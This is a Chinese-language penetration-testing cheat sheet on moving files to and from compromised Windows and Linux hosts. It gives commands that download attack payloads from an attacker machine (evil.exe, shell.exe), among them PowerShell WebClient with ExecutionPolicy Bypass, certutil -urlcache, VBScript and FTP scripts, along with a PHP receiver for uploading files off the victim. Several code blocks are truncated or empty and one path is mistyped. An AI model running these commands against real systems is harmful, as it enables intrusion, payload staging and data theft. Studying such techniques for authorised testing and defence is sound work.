渗透测试中的文件上传和下载
非交互式shell的升级
最新版kali使用的是zsh不是bash,所以之前的应该使用如下方法
1 | #in kali |
Linux系统文件传输
nc、wget、curl等,相对容易
win系统传文件
使用原生FTP命令进行下载
Windows系统默认包含FTP客户端程序(交互式程序),-s参数可指定包含FTP指令的源文件实现非交互式传文件
1 | C:\Users\offsec>echo open 10.11.0.4 21>ftp.txt |
利用以上指定源文件下载nc
1 | C:\Users\offsec> ftp -v -n -s:ftp.txt |
使用脚本下载文件
Windows XP、2003等系统可以使用VBScript脚本下载文件
Win 7、2008以上系统可使用Powershell传输文件;
VBScript脚本(wget.vbs)
运行脚本下载攻击程序
1 | C:\Users\Offsec> cscript wget.vbs http://10.11.0.4/evil.exe evil.exe |
Powershell脚本
Powershell默认策略、配置有限制,因此需要增加绕过限制的参数
1 | C:\Users\Offsec> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 |
win10上自带curl可以直接下载,powshell里有wget
1 | curl http://xxx -o shell.exe |
Powershell命令下载文件
1 | C:\Users\Offsec>powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.4/evil.exe','new-exploit.exe') |
利用certutil
1 | certutil.exe -urlcache -split -f "https://xxx" pstools.zip |
利用rdesktop,远程桌面连接同时挂载共享文件夹(kali攻击机)
1 | rdesktop -u <user> IP地址 -p <pass> -g 1200x900 -x -x80 -r sound:local -r disk:LinuxPictures=/home/user/Pictures |
如果rdesktop不好使,就用xfreerdp
1 | xfreerdp /u:yfh /p:vv /v:172.16.8.137 /w:1200 /h:900 /drive:home,/home/kali/Downloads |
从目标主机上下载文件
kali上开文件共享,impacket-smbserver
或kali上开一个接收上传文件的php页面
1 |
|
在Kali 上创建接收端脚本
1 | /var/www/html/upload.php |
创建目录接收文件
1 | sudo mkdir /varlwww/uploads |
从 Windows主机上传文件到Kali
1 | C:\Users\Offsec> powershell (New-Object |